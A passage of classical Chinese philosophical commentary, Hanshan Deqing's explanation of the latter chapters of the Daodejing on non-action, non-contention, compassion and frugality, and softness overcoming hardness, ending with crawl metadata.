駟馬,不如坐進此道,此古語也。老子解之曰,然天子三公,不足為尊貴。拱璧駟馬,不足為榮觀。總不如坐進此道。所以貴此道者,何耶。豈不曰,求道以得之,縱有罪亦可以免之耶。是知桀紂,天子也,不免其誅。四凶,三公也,不免其戮。非無拱璧駟馬,而竟不能免其罪。故夷齊諫武王而不兵,巢許傲天子而不譴,豈非求以得有罪以免耶。況夫一念復真,諸罪頓滅。苟求而得,立地超凡。故為天下貴也。\n為無為。事無事。味無味。大、小。多、少。報怨以德。圖難於其易。為大於其細。天下難事、必作於易。天下大事、必作於細。是以聖人終不為大、故能成其大。夫輕諾必寡信。多易必多難。是以聖人猶難之。故終無難。\n【註】此言聖人入道之要妙,示人以真切工夫也。凡有為,謂智巧。有事,謂功業。有味,謂功名利欲。此三者,皆世人之所尚。然道本至虛而無為。至靜而無事。至淡而無味。獨聖人以道為懷,去彼取此。故所為者無為。所事者無事。所味者無味。故世人皆以名位為大,以利祿為多而取之。然道至虛微淡泊無物,皆以為小少,故棄而不取。聖人去功與名,釋智遺形,而獨與道游。是去其大多,而取其小少。故以至小為至大,至少為至多。故大其小,而多其少也。試觀世人報怨以德,則可知矣。何也。且世之人,無論貴賤,事最大而難解者,怨也。然怨之始也,偶因一言之失,一事之差。遂相搆結,以至殺身滅名,亡國敗家之禍。甚至有積怨深憤,父子子孫,累世相報而未已者。此舉世古今之恆情也。豈非其事極大且多哉。惟聖人則不然。察其怨之未結也,本不有。始結也,事甚小。既結也,以為無與於己。故無固執不化之心,亦無有我以與物為匹敵。其既往也,事已消之,求其朕而不可得。以此觀之,則任彼之怨,在我了無報之之心矣。然彼且以為有怨,在我全無報復之心,彼必以我為德矣。是所謂報怨以德,非謂曲意將德以報怨也。孔子以直報怨,正謂此耳。斯則怨乃事之至大而多,人人必有難釋者。殊不知有至易者存焉。是所謂為無為,事無事,大其小,而多其少也。天下之事,何獨於怨,而事事皆然。故天下之事至難者,有至易存焉。至大者,有至細存焉。人不見其易與細,而於難處圖之,大處為之,必終無成。苟能圖之於易,而為之於細,鮮不濟者。以天下難事必作於易。天下大事必作於細,故也。作者,始起也。是以聖人虛心體道,退藏於密。跡愈隱而道愈光,澤流終古而與天地參。此所謂終不為大,故能成其大也。老子言及至此,抑恐世人把易字當作容易輕易字看。故誡之曰,夫輕諾必寡信,多易必多難。謂世人不可將事作容易看也。且容易許人,謂之輕諾。凡輕許者,必食言而寡信。見事之容易而輕為者,必有始而無終。是故易字,非容易也。世人之所難,而聖人之所易。世人之所易,而聖人之所難。故曰聖人猶難之,故終無難。猶,應作尤。古字通用。更也。謂世人之所甚易者,而聖人更難之,故終不難耳。觀夫文王兢兢,周公業業,戒慎恐懼乎不睹不聞,皆聖人之所難也。余少誦圖難於易為大於細二語,只把作事看。及余入山學道,初為極難,苦心不可言。及得用心之訣,則見其甚易。然初之難,即今之易。今之易,即初之難。然治心如此,推之以及天下之事皆然。此聖人示人入道之真切工夫也。志道者勉之。\n其安易持。其未兆易謀。其脆易破。其微易散。為之於未有。治之於未亂。合抱之木、生於毫末。九層之臺、起於累土。千里之行、始於足下。為者敗之。執者失之。聖人無為、故無敗。無執、故無失。民之從事、常於幾成而敗之。慎終如始、則無敗事。是以聖人欲不欲、不貴難得之貨。學不學、復眾人之所過。以輔萬物之自然。而不敢為。\n【註】此釋上章圖難於易為大於細之意,以示聖人之要妙,只在為人之所不為,以為學道之捷徑也。治人事天工夫,全在於此。安與末兆。蓋一念不生。喜怒未形。寂然不動之時。吉凶未見之地。乃禍福之先。所謂幾先也。持字,全是用心力量。謂聖人尋常心心念念,朗然照於一念未生之前,持之不失。此中但有一念動作,當下就見就知。是善則容,是惡則止,所謂早復。孔子所謂知幾其神乎。此中下手甚易,用力少而收功多。故曰其安易持。兆,是念之初起。未兆,即未起。此中喜怒未形,而言謀者。此謀,非機謀之謀,乃戒慎恐懼之意。於此著力,圖其早復。蓋第一念為之於未有也。若脆與微,乃是一念始萌,乃第二念耳。然一念雖動,善惡未著,甚脆且微。於此著力,所謂治之於未亂也。合抱之木以下,三句皆譬喻。毫末,喻最初一念。累土足下,喻最初一步工夫也。上言用心於內,下言作事於外。為執二句,言常人不知著力於未然之前,卻在既發之後用心。為之則反敗,執之則反失矣。聖人見在幾先,安然於無事之時,故無所為,而亦無所敗。虛心鑒照,故無所執,而亦無所失。以其聖人因理以達事耳。常民不知在心上做,卻從事上做,費盡許多力氣,且每至於幾成而敗之。此特機巧智謀,有心做來,不但不成,縱成亦不能久,以不知聽其自然耳。慎終如始。始,乃事之初。終,乃事之成。天下之事,縱然盈乎天地之間。聖人之見,察其始也本來不有。以本不有,故將有也,任其自然,而無作為之心。及其終也,事雖已成,觀之亦似未成之始,亦無固執不化之念,此所謂慎終如始,故無敗事也。是以以下,總結聖人返常合道也。若夫眾人之所欲者,功名利祿,玉帛珍奇。所學者,權謀智巧。火馳於此,往而不返,皆其過也。至於道德無為,皆以為賤而所不欲,以為無用而不學。故恃智好為,以傷自然之樸。聖人離欲釋智,以復眾人之過耳。以恃萬物之自然,故終不敢為也。莊子內聖外王學問,全出於此。吾人日用明此,可以坐進此道。以此用世,則功大名顯。伊周事業,特緒餘耳。豈不至易哉。\n古之善為道者。非以明民。將以愚之。民之難治、以其智多。以智治國、國之賊。不以智治國、國之福。知此兩者、亦楷式。能知楷式、是謂玄德。玄德深矣遠矣。與物反矣。乃至於大順。\n【註】此言聖人治國之要,當以樸實為本,不可以智誇民也。明者,昭然揭示之意。愚者,民可使由之不可使知之之意。夫民之所趨,皆觀望於上也,所謂百姓皆注其耳目。凡民之欲蔽,皆上有以啟之。故上有好者,下必有甚焉者也。故聖人在上,善能以斯道覺斯民,當先身以教之。上先不用智巧,離欲清淨,一無所好,若無所知者。則民自各安其日用之常,絕無一念好尚之心。而黠滑之智自消,奸盜之行自絕矣。所謂我好靜而民自正,我無為而民自化。故曰非以明民,將以愚之。此重在以字。前云眾人皆有以。以,如春秋以某師之以。謂左右之也。此其上不用智,故民易治耳。然民之難治者,皆用智之過也。足知以智治國者,反為害也,乃國之賊。不用智而民自安,則為國之福矣。人能知此兩者,可為治國之楷式也。楷式,好規模也。苟能知此楷式,是謂之玄德矣。玄德,謂德之玄妙,而人不測識也。故歎之曰,玄德深矣遠矣。非淺識者所可知也。民之欲,火馳而不返。唯以此化民,則民自然日與物相反,而大順於妙道之域矣。語曰,齊一變至於魯,魯一變至於道。猶有智也。況玄德乎。\n江海所以能為百谷王者、以其善下之、故能為百谷王。是以聖人欲上民、必以言下之。欲先民、必以身後之。是以聖人處上而民不重。處前而民不害。是以天下樂推而不厭。以其不爭、故天下莫能與之爭。\n【註】此教君天下者,以無我之德,故天下歸之如水之就下也。百川之水,不拘淨穢,總歸於江海。江海而能容納之,以其善下也。此喻聖人在上,天下歸之,以其無我也。欲上民,必以言下者。言者,心之聲也。故君天下者,尊為天子。聖人虛心應物,而不見其尊,故凡出言必謙下。如日孤寡不穀,不以尊陵天下也。欲先人,必以身後之者。身者,心之表也。君天下者,貴為天子,天下推之以為先。聖人忘己與人,而不自見有其貴。故凡於物欲,澹然無所嗜好,不以一己之養害天下也。重者,猶不堪也。是則聖人之心,有天下而不與。故雖處上,而民自堪命,不以為重。雖處前,而民自遂生,不以為害。此所以天下樂推而不厭。蓋無我之至,乃不爭之德也。此爭非爭鬥之謂,蓋言心不馳競於物也。以其不爭,故天下莫能與之爭。莊子所謂兼忘天下易,使天下忘己難。此則能使天下忘己,故莫能與之爭耳。\n天下皆謂我道大似不肖。夫惟大、故似不肖。若肖、久矣其細。我有三寶、持而寶之。一曰慈。二曰儉。三曰不敢為天下先。慈、故能勇。儉、故能廣。不敢為天下先、故能成器長。今捨慈且勇、捨儉且廣、捨後且先、死矣。夫慈、以戰則勝。以守則固。天將救之、以慈衛之。\n【註】此章老子自言所得之道至大,世人不知,其實所守者至約也。道大,如巍巍乎惟天為大,蕩蕩乎民無稱焉,言其廣大難以名狀也。不肖,如孔子云不器。大史公謂孟子迂遠而不切於事情之意。即莊子所謂大有徑庭,不近人情也。此蓋當時人見老子其道廣大,皆如下文所云,以勇廣器長稱之,且不得而名,故又為不肖,即若孔子稱之猶龍也。故老子因時人之言,乃自解之曰,天下人皆謂我之道大,似乎不肖,無所可用。惟其大,所以似不肖耳。肖者,與物相似。如俗云一樣也。若肖,作一句。久矣其細,作一句。倒文法耳。謂我若是與世人一樣,則成細人久矣,又安得以道大稱之哉。下文釋其大之所以。謂世人皆見其物莫能勝我,遂以我為勇。見我寬裕有餘,遂以我為廣。見其人皆推我為第一等人,遂以我為器長。器者,人物之通稱也。以此故,皆謂我道大,其實似無所肖。殊不知我所守者至約。乃慈,儉,不敢為天下先,三法而已。慈者,并包萬物,覆育不遺,如慈母之育嬰兒。儉者,嗇也,有而不敢盡用。不敢為天下先者,虛懷游世,無我而不與物對。然以慈育物,物物皆己。且無己與物敵,物自莫能勝矣。故曰慈故能勇。心常自足,雖有餘而不用,所處無不裕然寬大矣。故曰儉故能廣。物我兩忘,超然獨立,而不見有己以處人前。故人皆以我為畸人,推為人中之最上者矣。故曰不敢為天下先,故能成器長。以此故,皆以我為道大似不肖耳。以我所守者如此,即前所云我獨異於人,而貴求食於母也。以此三者,乃大道之要妙耳。且今世人,捨慈而言勇,捨儉而言廣,捨後而言先,死矣。此死字,非生死之死,如禪家所云死在句下。蓋死活之死,言其無生意也。以世人不知大道之妙,但以血氣誇侈爭勝做工夫。故一毫沒用頭,皆死法,非活法也。且此三者之中,又以慈為主。不但學道,即治天下國家莫不皆然。若以戰則勝,以守則固,故王師無敵,民效死而勿去,皆仁慈素有所孚,故為戰勝守固之道。此所謂道之真以治身,其緒餘以為天下國家。以天地之大德曰生。故天將救斯民,而純以慈衛之。故聖人法天利用,而以慈為第一也,世俗惡足以知之。故知治世能用老氏之術,坐觀三代之化。所以漢之文景,得糟粕之餘,施於治道,迴超百代耳。此老子言言皆真實工夫,切於人事,故云甚易知易行。學人視太高,類以虛玄談之,不能身體而力行,故不得其受用耳。惜哉。\n善為士者不武。善戰者不怒。善勝敵者不爭。善用人者為之下。是謂不爭之德。是謂用人之力。是謂配天、古之極。\n【註】此言聖人善於下人,以明不爭之德,釋上三寶之意也。一章主意,只在善用人者為之下一句。乃假兵家戰勝之事,以形容其慈,乃不爭之至耳。士者,介胄之士。武者,武勇。然士以武為主。戰以怒為主。勝敵以爭為主。三者又以氣為主。況善於為士者不用武。善於戰者不在怒。善於勝敵者不必爭。即前所云以慈用兵也。意謂武怒爭三者,獨兵事所必用。若用之而必死,故善者皆不用。何況常人,豈可恃之以為用耶。乃驕矜恃氣,不肯下人,故人不樂其用,乃不善用人耳。故古之善用人者,必為之下,即此是謂不爭之德也。若以力驅人,能驅幾何。若以下驅人,則天下歸之。是以下用人,最有力也。所謂上善若水,水善利萬物而不爭,以其有力也。是謂配天古之極者。乾天,坤地。若天地正位,則為否,而萬物不生。若乾下坤上,則為泰。是知天在上而用在下也。聖人處民上而心在下,可謂配天之德。此古皇維極之道,置百姓於熙皞至樂之中。斯豈不爭之德以治天下,而為力之大者與。此章主意,全在不用氣上做工夫。即前云專氣致柔,能如嬰兒。純和之至,則形化而心忘。不見物為對,則不期下而自下矣。殆非有心要下,而為用人之術也。然學人有志於謙德,則必尊而光,況聖人無我之至乎。\n用兵有言、吾不敢為主而為客。不敢進寸而退尺。是謂行無行(音杭戶剛反)。攘無臂。仍無敵。執無兵(兵者五兵器械謂戈矛殳戟干也)。禍莫大於輕敵。輕敵幾喪吾寶。故抗兵相加、哀者勝矣。\n【註】此重明前章不爭之德,以釋上三寶以慈為本之意也。然慈,乃至仁之全德也。所謂大仁不仁。以其物我兼忘,內不見有施仁之心,外不見有受施之地。故凡應物而動,皆非出於有心好為,蓋迫不得已而後應。故借用兵以明慈德之至也。何以知之。且如古之用兵者有言曰,吾不敢為主而為客,不敢進寸而退尺。以此觀之,足可知也。古之用兵,如涿鹿孟津之師是也。兵主,如春秋征伐之盟主。蓋專征伐,主於兵者,言以必爭必殺為主也。客,如諸侯應援之師。本意絕無好殺之心。今雖迫不得已而應之,然亦聽之待之,若可已則已。以無心於功利,故絕無爭心,所以進之難而退之易。故曰不敢進寸而退尺。言身進而心不進,是以退心進也。以無爭心,故雖行而如不在行陣,雖攘而若無臂之人。仍,相仍,猶就也。言彼以我為敵,而我以彼為敵也。雖就,亦似無敵可對。雖執,猶若無兵可揮。戒懼之至,而不敢輕於敵。由不敢輕敵,所以能保全民命,不傷好生之仁。然禍之大者莫大於輕敵。以輕敵則多殺,多殺則傷慈,故幾喪吾寶矣。抗兵,乃兩敵相當,不相上下,難於決勝。但有慈心哀之者,則自勝矣。何則,以天道好生,助勝於慈者也。由是觀之,兵者對敵,必爭必殺以取勝。今乃以不爭不殺而勝之,蓋以慈為本故也。足見慈乃不爭之德,施於必爭地,而以不爭勝之,豈非大有力乎。用之於敵尚如此。況乎聖人無物為敵,而以平等大慈,并包萬物,又何物而可勝之耶。故前云不爭之德,是謂用人之力,是謂配天古之極。此章舊解多在用兵上說,全不得老子主意。今觀初一句,乃借用兵之言。至輕敵喪寶,則了然明白。是釋上慈字,以明不爭之德耳。\n吾言甚易知易行。天下莫能知、莫能行。言有宗。事有君。夫惟無知、是以不我知。知我者希。則我者貴。是以聖人彼褐懷玉。\n【註】此章示人立言之指,使知而行之,欲其深造而自得也。老子自謂我所言者,皆人人日用中最省力一著工夫。明明白白,甚容易知,容易行。只是人不能知,不能行耳。以我言言事事,皆以大道為主,非是漫衍荒唐之說。故曰言有宗,事有君。宗,君,皆主也。且如一往所說,絕聖棄智,虛心無我,謙下不爭,忘形釋智,件件都是最省力工夫,放下便是,全不用你多知多解。只在休心二字,豈不最易知最易行耶。然人之所以不能知者,因從來人人都在知見上用心。除卻知字,便無下落。以我無知無識一著,極難湊泊,所以人不知我耳。故曰夫惟無知,是以不我知。然無知一著,不獨老子法門宗旨,即孔子亦同。如曰吾有知乎哉,無知也,有鄙夫問於我空空如也,此豈不是孔聖亦以無知為心宗耶。此夫子見老子後,方得妙悟如此。故稱猶龍,正謂此耳。然以無知契無知,如以空合空。若以有知求無知,如以水投石。所以孔老心法,千古罕明。故曰知我者希。若能當下頓悟此心,則立地便是聖人,故曰則我者貴。則,謂法則。言取法也。聖人懷此虛心妙道以遊世。則終日與人周旋,對面不識。故如披褐懷王。永嘉云,貧則身常披縷褐,道則心藏無價珍。此一章書,當在末後結束。蓋老子向上一往所言天人之蘊,至此已發露太盡,故著此語。後章只是要人在日用著力做工夫,以至妙悟而後已。\n知不知、上。不知知、病。夫惟病病、是以不病。聖人不病。以其病病、是以不病。\n【註】此承上言惟無知,是以不我知。恐人錯認無知,故重指出無知之地也。然世人之知,乃敵物分別之知,有所知也。聖人之知,乃離物絕待,照體獨立之知,無所知也。故聖人之無知,非斷滅無知,乃無世人之所知耳。無所知,乃世人所不知也。世人所不知,乃聖人之獨知。人能知其所不知之地,則為上矣。故曰知不知上。若夫臆度妄見,本所不知,而強自以為知。或錯認無知為斷滅,同於木石之無知。此二者皆非真知,適足為知之病耳。故曰不知知病。若苟知此二者為知之病,則知見頓亡,可造無知之地,而無強知妄知之病矣。故曰夫惟病病,是以不病。聖人但無強妄之知,故稱無知,非是絕然斷滅無知也。故曰聖人不病。此段工夫,更無別樣玄妙。唯病其妄知強知是病而不用。是以不墮知病之中,而名無知。此無知,乃真知。苦如此真知,則終日知而無所知。斯實聖人自知之明,常人豈易知哉。此所以易知易行,而世人不能知不能行也。古云,知之一字,眾妙之門。知之一字,眾禍之門。然聖人無知之地,必假知以入。若悟無知,則妄知自泯。此乃知之一字,眾妙之門也。若執有知以求無知,則反增知障,此乃眾禍之門。正是此中知之病也。知不知上,最初知字,正是入道之要。永嘉云,所謂知者,但知而已,此句最易而難明。學者日用工夫,當從此入。\n民不畏威、大威至矣。無狹其所居。無厭(平聲)其所生。夫惟不厭、是以不厭(去聲)。是以聖人自知不自見。自愛不自貴。故去彼取此。\n【註】此章教人遺形去欲,為入道之工夫,以造聖人無知之地也。凜然赫然而可畏者,謂之威。如云寒威,炎威,是也。是則凡可畏者,皆謂之威。唯國之大罰,與天地之肅殺,乃大威也。此借以為戕生傷性者之喻。世人以為小惡不足戒,而不知畏,必致殺身而後已。此民不畏威,大威至矣。喻世人祇知嗜欲養生,而不知養生者,皆足以害生而可畏也。且若嗜酒色,必死於酒色。嗜利欲,必死於利欲。嗜飲食,必死於飲食。是則但有所嗜,而不知畏,必至於戕生傷性而後已。此不畏威,故大威至矣。然人但知嗜而不知畏者,以其止知有身之可愛,有生之可貴,以此為足。而不知大有過於此者,性也。且吾性之廣大,與太虛同體,乃吾之真宅也。苟以性視身,則若大海之一涵,太虛之一塵耳,至微小而不足貴者。人不知此,而但以蕞爾之身。以為所居之地。將為至足,而貴愛之,則狹陋甚矣。故戒之曰,無狹其所居。狹其居者,將以此身此生為至足也。故又戒之曰,無厭其所生。厭,足也。若知此身此生之不足貴,則彼物欲固能傷生,亦不足以害我矣,以其無死地也。故曰夫惟不厭,是以不厭。厭,棄也。故聖人自知尊性,而不見生之可養。自愛遺形,而不見身之可貴。此聖人之所獨知,世人之所不知也。故去彼眾人之所知,取彼所不知,以為道之要妙耳。以此足見世人之所知者,皆病也。聖人病之而不取,故不病也。後三章互相發明此章之旨。\n勇於敢、則殺。勇於不敢、則活。此兩者、或利或害。天之所惡、孰知其故。是以聖人猶難之。天之道不爭善勝。不言而善應。不召而自來。繟(音闌舒緩也)然而善謀。天網恢恢、疏而不失。\n【註】此言天命可畏,報應昭然,教人不可輕忽也。勇者,決定之志也。敢者,不計利害而決於為也。殺活,死生也。謂凡世人作事,不顧利害,不怕死生,而敢為之。然敢乃必死之地。故曰勇於敢則殺。若用志於不敢為,是足以保身全生。故曰勇於不敢則活。此天道必然之理也。且此二者,亦有敢而生,不敢而死者。至若顏子夭,而盜蹠壽,此乃當害而利,當利而反害者,何耶。況天道好謙而惡盈,與善而惡惡。是則為惡者,當惡而不惡,斯豈報應差舛耶。世皆疑之。故解之曰,天之所惡,孰能知其故。故,所以然也。孔子曰,無求生以害仁,有殺身以成仁。由此觀之,生存而仁害,雖生亦死。身滅而仁成,雖死亦生。斯則蹠非壽,顏非夭矣。此乃天道所以然之妙,而非世人所易知。是以聖人於此猶難之,不敢輕忽,而敬畏之。所謂畏天之威,於時保之也。故下文歷示天道之所以。逆天者亡,故不爭而善勝。感應冥符,故不言而善應。吉凶禍福如影響,故不召而自來。然報愈遲,而惡愈深,禍愈慘,故繟然而善謀。以報速者有所警,報緩則不及悔,必至盡絕而後已。此所謂善謀也。是則天道昭昭在上,如網之四張,雖恢恢廣大,似乎疏闊。其實善惡感應,毫髮不遺。此所謂疏而不失也。世人不知天命之如此,乃以敢以強以爭競於名利之場。將謂一身之謀,不顧利害死生而為之,自謂智力以致之。蓋不知命之過,皆取死之道也。可不畏哉。\n民不畏死、奈何以死懼之。若使民常畏死而為奇者、吾將執而殺之。孰敢。常有司殺者殺。夫代司殺者殺、是謂代大匠斲。夫代大匠斲者、希有不傷手矣。\n【註】此承上章天道無言,而賞罰不遺,以明治天下者當敬天保民,不可有心尚殺以傷慈也。治天下者,不知天道,動尚刑威,是以死懼民也。老子因而欺之曰,民不畏死,奈何以死懼之耶。以愚民無知,但為養生口體之故。或因利而行劫奪,或貪欲而嗜酒色。明知曰蹈死亡,而安心為之,是不畏死也。如此者眾,豈得人人而盡殺之耶。若民果有畏死之心,但凡有為奇詭之行者,吾執一人而殺之,則足以禁天下之暴矣。如此,誰又敢為不法耶。民既不畏死,殺之無益,適足以傷慈耳。夫天之生民,必有以養之。而人不知天,不安命,橫肆貪欲以養生。甚至不顧利害,而無忌憚以作惡,是乃不畏天威。天道昭昭,必將有以殺之矣。是居常自有司殺者殺,無庸有心以殺之也。所謂天生天殺,道之理也。今夫人主,操生殺之權,乃代天之威以保民者。若民惡貫盈,天必殺之。人主代天以行殺,故云代司殺者殺,如代大匠斲也。且天鑑昭明,毫髮不爽。其於殺也,運無心以合度,揮神斤以巧裁。不疾不徐,故如大匠之斲,運斤成風而不傷鋒犯手。至若代大匠斲者,希有不傷手矣。何也。夫有心之殺,乃嗜殺也。嗜殺傷慈。且天之司殺,實為好生。然天好生,而人好殺,是不畏天而悖之,反取其殃。此所以為自傷其手也。孟子曰,不嗜殺人者能一之,此語深得老子之餘意。故軻力排楊墨,而不及老莊,良有以焉。至哉仁人之言也。\n民之飢、以其上食稅之多、是以飢。民之難治、以其上之有為、是以難治。民之輕死、以其求生之厚、是以輕死。夫惟無以生為者、是賢於貴生。\n【註】此釋上章民不畏死之所以,教治天下者當以淡泊無欲為本也。凡厥有生,以食為命。故無君子莫治野人,無野人莫養君子,是則上下同一命根也。然在上之食,必取稅下民。一夫之耕,不足以養父母妻子。若取之有制,猶可免於飢寒。若取之太多,則奪民之食以自奉,使民不免於死亡。凡賊盜起於飢寒也,民既飢矣,求生不得,而必至於奸盜詐偽,無不敢為之者。雖有大威,亦不畏之矣。是則民之為盜,由上有以驅之也。既驅民以致盜,然後用智術法以治之。故法令茲彰,盜賊多有,此民所以愈難治。雖有斧銊之誅,民將輕死而犯之矣。由是推之,民之輕死,良由在上求生之厚以致之,非別故也。厚,重也。此句影前當有一上字,方盡其妙。然重於求生,以但知生之可貴,而以養生為事,不知有生之主。苟知養生之主,則自不見有身之可愛,有生之可貴。欲自消而心自靜,天下治矣。所謂我無為而民自化,我好靜而民自正,我無事而民自富,我無欲而民自樸。故曰夫惟無以生為者,是賢於貴生。賢,猶勝也。此中妙處,難盡形容。當熟讀莊子養生主,馬蹄胠篋諸篇,便是注解。又當通前四章反復參玩,方見老子喫緊處。\n人之生也柔弱其死也堅強。萬物草木之生也柔脆、其死也枯槁。故堅強者死之徒。柔弱者生之徒。是以兵強則不勝。木強則共(音拱兩手合圍也)。強大處下。柔弱處上。\n【註】此章傷世人之難化,欲在上者當先自化,而後可以化民也。結句乃本意,上文皆借喻以明之耳。經曰,此土眾生,其性剛強,難調難化。故老子專以虛心無為不敢,為立教之本。全篇上下,專尚柔弱而斥剛強。故此云,堅強者死之徒,柔弱者生之徒,乃借人物草木為喻。是以兵喻戒懼,木喻心虛。言兵若臨事而懼,不敢輕敵,故能全師以自勝。是以全生為上,而多死為下也。木之枝條,以沖氣為和。故欣欣向榮,而生意自見。是以虛心柔弱在上。若成拱把,則麤幹堅強者在下矣。以此足知戒懼虛心,柔弱翕受者,方可處於民上也。若夫堅強自用,敢於好為,則終無有生意矣。此語大可畏哉。\n天之道、其猶張弓乎。高者抑之。下者舉之。有餘者損之。不足者補之。天之道、損有餘、而補不足。人之道則不然、損不足以奉有餘。孰能有餘以奉天下。唯有道者。是以聖人為而不恃。功成而不處。其不欲見賢耶。\n【註】此言天道之妙,以明聖人法天以制用也。弓之為物,本弣高而有餘,弰下而不足,乃弛而不用也。及張而用之,則抑高舉下,損弣有餘之力,以補弰之不足。上下均停,然後巧於中的。否則由基逢蒙,無所施其巧矣。天之道亦猶是也。以其但施而不受,皆損一氣之有餘,以補萬物之不足,均調適可,故各遂其生。人道但受而不施,故人主以天下奉一己。皆損百姓之不足,以補一人之有餘,裒寡益多,故民不堪其命。誰能損有餘以奉天下哉。唯有道者,達性分之至足,一身之外皆餘物也。故堯舜有天下而不與,即以所養而養民,乃能以有餘奉不足也。是以聖人與道為一,與天為徒。故法天制用,雖為而不恃其能,雖成而不居其功,此損之至也。損之至,故天下樂推而不厭。雖不欲見賢,不可得也。其不欲見賢耶一句,謂我心本不欲見賢,而人自以我為賢矣。此益也,由損而至。故唯天為大,唯堯則之,此之謂也。\n天下莫柔弱於水。而攻堅強者莫之能先。以其無以易之也。故柔之勝剛。弱之勝強。天下莫不知。莫能行。是以聖人云。受國之垢、是謂社稷主。受國之不祥、是謂天下王。正言若反。\n【註】此結通篇柔弱之意,欲人知而能行也。無以易之。易,輕易也。即左傳訓師無易敵之易。謂師之柔弱,則敵人有以料而易之以取勝。至若水之柔弱,則人莫能料。莫能料,故無以易之,而卒莫能以取勝。此所以攻堅強者莫之能先。莫能先,謂無有過於此也。世人皆以柔弱為不足取,率輕易之。故天下皆知之而莫能行,以柔弱為垢辱不美之稱故也。祥,猶嘉美也。是以凡稱人君,則曰乾剛能斷有為,遂以為明君。若夫無為,則國人皆以柔弱為恥辱而不美矣。故聖人云,果能以柔弱處上,恬澹無為,能受一國之恥垢者,則為社稷真主。能受一國不美之名者,則為天下明王矣。如堯之垂拱無為,則野老謳曰,帝力何有於我哉。此受國之垢也。然柔弱無為,乃合道之正言,但世俗以為反耳。\n和大怨、必有餘怨。安可以為善。是以聖人執左契而不責於人。有德司契。無德司徹。天道無親。常與善人。\n【註】此言聖人無心之恩,但施而不責報,此為當時計利者發也。然恩生於怨,怨生於恩。當時諸侯兩相搆怨,霸者主盟而為和之。大怨既和,而必責報。報之不至,而怨亦隨之,是有餘怨也。莊子云,賊莫大於德有心。故曰安可以為善。是以聖人無心之德,但施而不責報。故如貸之執左契,雖有而若無也。契,貸物之符券也。合同剖之,而有左右。貸者執右,物主執左,所以責其報也。有德司契,但與而不取,徒存虛契。無德司徹,不計彼之有無,必征其餘,如賦徹耳。徹,周之賦法。謂時至必取於民,而無一毫假借之意。然上責報而下計利,將謂與而不取,為失利也。殊不知失於人,而得於天。故曰天道無親,常與善人。且施而不取,我既善矣。人不與而天必與之,所謂自天佑之,吉無不利。豈常人所易知哉。\n小國寡民。使有什伯人之器而不用。使民重死而不遠徙。雖有舟輿、無所乘之。雖有甲兵、無所陳之。使民復結繩而用之。甘其食。美其服。安其居。樂其俗。鄰國相望。雞狗之聲相聞。民至老死不相往來。\n【註】此結通篇無為之益,施於治道,可復太古之化也。什伯之器,並十曰什,兼百曰伯。器,材也。老子自謂以我無為之治,試於小國。縱使有兼十夫百夫之材者,亦無所用之,以民淳而無事故也。若國多事,煩擾於民。或窮兵致亂,重賦致饑。民不安其居,則輕死而去之。今一切無之,故使民重死,而不遠徙。舟輿,水陸之具。不遠徙,故雖有舟車無所用。不尚爭,故雖有甲兵無所陳。陳,列也。不用智,故可使結繩而用之如太古矣。民各自足其足,絕無外慕之心。不事口體,故以尋常衣食為甘美,以平居里俗為安樂,曰與鄰國雞狗相聞。至近之地,民至老死而不相往來。如此,則淳樸之至,乃太古之化也。老子所言,疾當時之弊,皆有為用智剛強,好爭尚利,自私奉己,而不恤於民。故國亂民貧,而愈難治。所以治推上古,道合無為,全篇所論,不出乎此,蓋立言之本旨也。故終篇以此,請試而行之,可以頓見太古鴻荒之化。言取效之速如此也。所謂一日克己復禮,天下歸仁,深有味乎此言也。老氏之學,豈矯世絕俗之謂哉。\n信言不美、美言不信。善者不辯、辯者不善。知者不博、博者不知。聖人不積、既已為人己愈有、既已與人己愈多。天之道、利而不害。聖人之道、為而不爭。\n【註】此結通篇立言之旨,以明老氏立教之宗也。信言不美者,斯乃釋疑之辭。以明道本無言,因言顯道之意也。首章云,道可道,非常道。以可道之道,乃言說也。老子自謂道若可言,即非真道矣。今上下五千餘字,豈非言耶。既已有言,則道非真矣。因於終篇以自解之,以釋後世之疑耳。然信,舊注實也。謂真實之言,即由衷之言也。美言,華美之言,乃巧言也。老子意謂道本無言,因言以顯。但我所言者,字字皆從真實理中流出,第藉之以彰道妙,故信實而不美。非若世人誇誕浮辭,雖美而不信也。且世衰道微,人心不古。當時學者不達無言之旨,乃嘵嘵好辯尚博,各擅專門。如楊朱墨翟御寇公孫之徒,祖述相傳,以辯博為宗,自以為善。殊不知以多歧亡羊,多方喪真,去道轉遠。老子因而斥之曰,孰知不言之教,不辯之辯哉。以彼辯者,則不善於道。果善於道,則自不辯矣。且道本無言,乃至約也。但了悟於心,可目擊而喻,妙契無言,自不容聲矣,何事於博哉。故曰知者不博。時人不知出此,徒事多聞,增益知見,以博為知,其實不知多言數窮。故曰博者不知。以彼不知大道體虛,運而不積。而彼以積為務,故愈增障礙。殊不知有積則有散,有散則有窮。無積則無散,無散則無窮。由聖人體虛合道,忘言任真,了無所積。由其不積,則不窮。所謂虛而不屈,動而愈出。如樞得環中,以應無窮。故既已為人己愈有,既已與人己愈多也。且天乃無言之聖,聖乃有言之天。以天道不積,其體至虛。故四時運而不竭,利盡萬物而不傷其體。故曰天之道利而不害。害,非害物之害。乃不傷己之意。聖人法天利用,故終日運用,為物作則,而了然無物可當於情。故曰為而不爭。爭,謂與物競也。斯蓋虛心遊世,超然獨立於萬物之上矣。老子學問工夫,真實直捷處,盡在於此。故結全書立言之旨,妙盡於是矣。學者勉哉。\n老子道德經解 下篇終","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/taolibrary.com\/category\/category4\/c406.htm","date":"2022-12-08T10:16:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711286.17\/warc\/CC-MAIN-20221208082315-20221208112315-00402.warc.gz","language":"lzh","language_score":0.4273512065,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4273512065410614, \"cmn_Hani_score\": 0.418838769197464, \"nan_Hani_score\": 0.06749796867370605, \"wuu_Hani_score\": 0.02405586466193199, \"yue_Hani_score\": 0.0120467534288764}","num_words":185,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.476,"perplexity_score":500.0,"cluster_detection":1} 